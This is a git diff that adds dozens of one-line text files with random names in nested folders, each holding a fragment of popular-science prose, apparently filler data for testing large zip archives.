diff --git a/big_zip/big-zip-files/folder_xtshijybzy/file_ydhrqvllc.txt b/big_zip/big-zip-files/folder_xtshijybzy/file_ydhrqvllc.txt
new file mode 100644
index 0000000..0dbb822
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/file_ydhrqvllc.txt
@@ -0,0 +1 @@
+species. On the other hand, we maintain that there is no credible evidence for the Earth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_acommpmsrxd.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_acommpmsrxd.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_acommpmsrxd.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_bdsbhdklnqiceltmn.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_bdsbhdklnqiceltmn.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_bdsbhdklnqiceltmn.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_bgypcmmzeoseuzbjkd.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_bgypcmmzeoseuzbjkd.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_bgypcmmzeoseuzbjkd.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_cbhapglzqed.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_cbhapglzqed.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_cbhapglzqed.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_fkxcqivfbixrpvnxijsl.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_fkxcqivfbixrpvnxijsl.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_fkxcqivfbixrpvnxijsl.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_hjvryvewu.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_hjvryvewu.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_hjvryvewu.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_hrxfjedcvypsuifurgg.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_hrxfjedcvypsuifurgg.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_hrxfjedcvypsuifurgg.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_hufanpmbsfmcplmzdoyd.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_hufanpmbsfmcplmzdoyd.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_hufanpmbsfmcplmzdoyd.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_kznplditsjenjjdfgulfq.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_kznplditsjenjjdfgulfq.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_kznplditsjenjjdfgulfq.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_mrkgaxybdxeode.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_mrkgaxybdxeode.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_mrkgaxybdxeode.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_nxdiqzbwitittoqrh.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_nxdiqzbwitittoqrh.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_nxdiqzbwitittoqrh.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_ojygeqgflb.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_ojygeqgflb.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_ojygeqgflb.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_pjmeaqiqyzgnkfbygm.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_pjmeaqiqyzgnkfbygm.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_pjmeaqiqyzgnkfbygm.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_sspponqejdignblhu.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_sspponqejdignblhu.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_sspponqejdignblhu.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_ugjaltgsgukndxtik.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_ugjaltgsgukndxtik.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_ugjaltgsgukndxtik.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_uyfmoxhozohdyliqhr.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_uyfmoxhozohdyliqhr.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_uyfmoxhozohdyliqhr.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_vtdtezslpmtxdgilmpizpf.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_vtdtezslpmtxdgilmpizpf.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_vtdtezslpmtxdgilmpizpf.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_xftgsikcdwgbjrffowdk.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_xftgsikcdwgbjrffowdk.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_xftgsikcdwgbjrffowdk.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_yjmafqiynyfxrtwrjjsmxx.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_yjmafqiynyfxrtwrjjsmxx.txt
new file mode 100644
index 0000000..254650e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/file_yjmafqiynyfxrtwrjjsmxx.txt
@@ -0,0 +1 @@
+why disastrous fires - the great conflagrations of London and Chicago, for example - are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_bjdfcjnbnesfmotbyjjokopd.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_bjdfcjnbnesfmotbyjjokopd.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_bjdfcjnbnesfmotbyjjokopd.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_bysmxchgrnmrbdnqrgzmmq.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_bysmxchgrnmrbdnqrgzmmq.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_bysmxchgrnmrbdnqrgzmmq.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_cotabilrhpd.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_cotabilrhpd.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_cotabilrhpd.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_dhwrhlvefjlvexdgvtlvhwyb.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_dhwrhlvefjlvexdgvtlvhwyb.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_dhwrhlvefjlvexdgvtlvhwyb.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_fdgupvqzowxtapvawie.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_fdgupvqzowxtapvawie.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_fdgupvqzowxtapvawie.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_fwspnswwo.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_fwspnswwo.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_fwspnswwo.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_icscugrzwrz.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_icscugrzwrz.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_icscugrzwrz.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_jekadylgbcvoqmhtla.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_jekadylgbcvoqmhtla.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_jekadylgbcvoqmhtla.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_kdlbteadqweovjze.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_kdlbteadqweovjze.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_kdlbteadqweovjze.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_mxaogbjrxmjo.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_mxaogbjrxmjo.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_mxaogbjrxmjo.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_novrdfggmseirvjulg.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_novrdfggmseirvjulg.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_novrdfggmseirvjulg.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_nuulqdtuujbnvynm.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_nuulqdtuujbnvynm.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_nuulqdtuujbnvynm.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_ppfxbogdxyiesxtd.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_ppfxbogdxyiesxtd.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_ppfxbogdxyiesxtd.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_ppyjkharog.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_ppyjkharog.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_ppyjkharog.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_puxtlhsfbqvxvfd.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_puxtlhsfbqvxvfd.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_puxtlhsfbqvxvfd.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_qpsbyrrysprdeaxxcelv.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_qpsbyrrysprdeaxxcelv.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_qpsbyrrysprdeaxxcelv.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_rpfdejazpvbxztpcctnka.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_rpfdejazpvbxztpcctnka.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_rpfdejazpvbxztpcctnka.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_sfqlxgcilmafsa.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_sfqlxgcilmafsa.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_sfqlxgcilmafsa.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_slxyfxbqabyqagoueujp.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_slxyfxbqabyqagoueujp.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_slxyfxbqabyqagoueujp.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_swdbhgvbkkythij.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_swdbhgvbkkythij.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_swdbhgvbkkythij.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_zhhifvjbppuxlvpejclda.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_zhhifvjbppuxlvpejclda.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_zhhifvjbppuxlvpejclda.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_zudfhzteqmmguleynokmyx.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_zudfhzteqmmguleynokmyx.txt
new file mode 100644
index 0000000..1664d7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/file_zudfhzteqmmguleynokmyx.txt
@@ -0,0 +1 @@
+Jupiter is surrounded by a shell of invisible but extremely dangerous high-energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/aqrvisohaneuoapfshba.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/aqrvisohaneuoapfshba.txt
new file mode 100644
index 0000000..f9bf0bf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/aqrvisohaneuoapfshba.txt
@@ -0,0 +1 @@
+age of a solar system dominated by early catastrophic impacts.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/cjqjksuixawjpd.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/cjqjksuixawjpd.txt
new file mode 100644
index 0000000..32fc9ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/cjqjksuixawjpd.txt
@@ -0,0 +1 @@
+But if the message contains valuable information, the consequences for our own civilization
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/dfanslmzzmoucbo.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/dfanslmzzmoucbo.txt
new file mode 100644
index 0000000..4a0493f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/dfanslmzzmoucbo.txt
@@ -0,0 +1 @@
+knowledge with theirs, we would grow immeasurably. And with our newly acquired
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/dsrfzpbovjvruluynmt.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/dsrfzpbovjvruluynmt.txt
new file mode 100644
index 0000000..22fbb24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/dsrfzpbovjvruluynmt.txt
@@ -0,0 +1 @@
+forfeited the deposit gladly and enshrined, as well he might, the originals in the Library.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/ebiznuppwoefsdpismkesir.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/ebiznuppwoefsdpismkesir.txt
new file mode 100644
index 0000000..dd6e3ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/ebiznuppwoefsdpismkesir.txt
@@ -0,0 +1 @@
+and still thrive because they are thoroughgoing, unremitting parasites. Like viruses, they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_dolfolbzoadrovrod.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_dolfolbzoadrovrod.txt
new file mode 100644
index 0000000..86b9fa2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_dolfolbzoadrovrod.txt
@@ -0,0 +1 @@
+objects are so far away that the finite speed of light becomes important. If you are looking
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_kojicgdlhdhkpor.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_kojicgdlhdhkpor.txt
new file mode 100644
index 0000000..86b9fa2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_kojicgdlhdhkpor.txt
@@ -0,0 +1 @@
+objects are so far away that the finite speed of light becomes important. If you are looking
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_mknvbgmnqdmojvxfkzoyrg.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_mknvbgmnqdmojvxfkzoyrg.txt
new file mode 100644
index 0000000..86b9fa2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_mknvbgmnqdmojvxfkzoyrg.txt
@@ -0,0 +1 @@
+objects are so far away that the finite speed of light becomes important. If you are looking
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_rhctrtcmvka.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_rhctrtcmvka.txt
new file mode 100644
index 0000000..86b9fa2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_rhctrtcmvka.txt
@@ -0,0 +1 @@
+objects are so far away that the finite speed of light becomes important. If you are looking
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_tixioemnet.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_tixioemnet.txt
new file mode 100644
index 0000000..86b9fa2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_tixioemnet.txt
@@ -0,0 +1 @@
+objects are so far away that the finite speed of light becomes important. If you are looking
\ No newline at end of file
